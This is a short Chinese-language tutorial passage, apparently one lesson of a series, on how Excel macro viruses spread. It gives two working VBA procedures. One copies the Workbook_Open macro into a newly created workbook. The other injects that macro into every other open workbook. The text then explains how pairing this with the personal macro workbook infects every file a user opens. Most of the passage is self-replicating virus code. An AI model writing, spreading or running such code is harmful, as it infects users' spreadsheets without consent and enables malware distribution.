|
Excel中提供了强大的宏的复制与自我复制机能,
这使得宏病毒的传染极其容易。
下面举个原理性的例子:
Sub 新建并感染工作薄()
'添加新工作簿并将本工作簿 thisworkbook 内的宏 Workbook_Open 的代码复制到新工作簿
Const STRMODULE As String = "ThisWorkBook" '表名
Const STRMACRO As String = "Workbook_Open" '宏名
Const STRWORKBOOK As String = "aaa.xls" '薄名
Dim str As String
With ThisWorkbook.VBProject.VBComponents(STRMODULE).CodeModule
str = .Lines(.ProcBodyLine(STRMACRO, 0), .ProcCountLines(STRMACRO, 0))
End With
With Workbooks.Add
.SaveAs STRWORKBOOK
.VBProject.VBComponents("ThisWorkBook").CodeModule.InsertLines 2, str
End With
End Sub
宏病毒的传染,就是要让更多的文件受到感染,
所以,上面的例子还要继续修改,
Sub 感染当前打开的工作薄()
Dim 宏内容, 当前薄名 As String
当前薄名 = ThisWorkbook.Name
With ThisWorkbook.VBProject.VBComponents("ThisWorkBook").CodeModule
宏内容 = .Lines(.ProcBodyLine("Workbook_Open", 0), .ProcCountLines("Workbook_Open", 0))
End With
For Each 历遍薄名 In Workbooks
If 历遍薄名.Name <> 当前薄名 Then
历遍薄名.VBProject.VBComponents("ThisWorkBook").CodeModule.InsertLines 2, 宏内容
End If
Next
End Sub
这样一来,所有的打开的Excel文件就都受到感染了。
再加上第一讲的“个人宏工作薄”一起发挥,
那么,只要你打开一个Excel文件,
第一步就会先打开“个人宏工作薄”,
然后通过“Sub 感染当前打开的工作薄()”这个宏,
将你所打开的文件感染。 |
|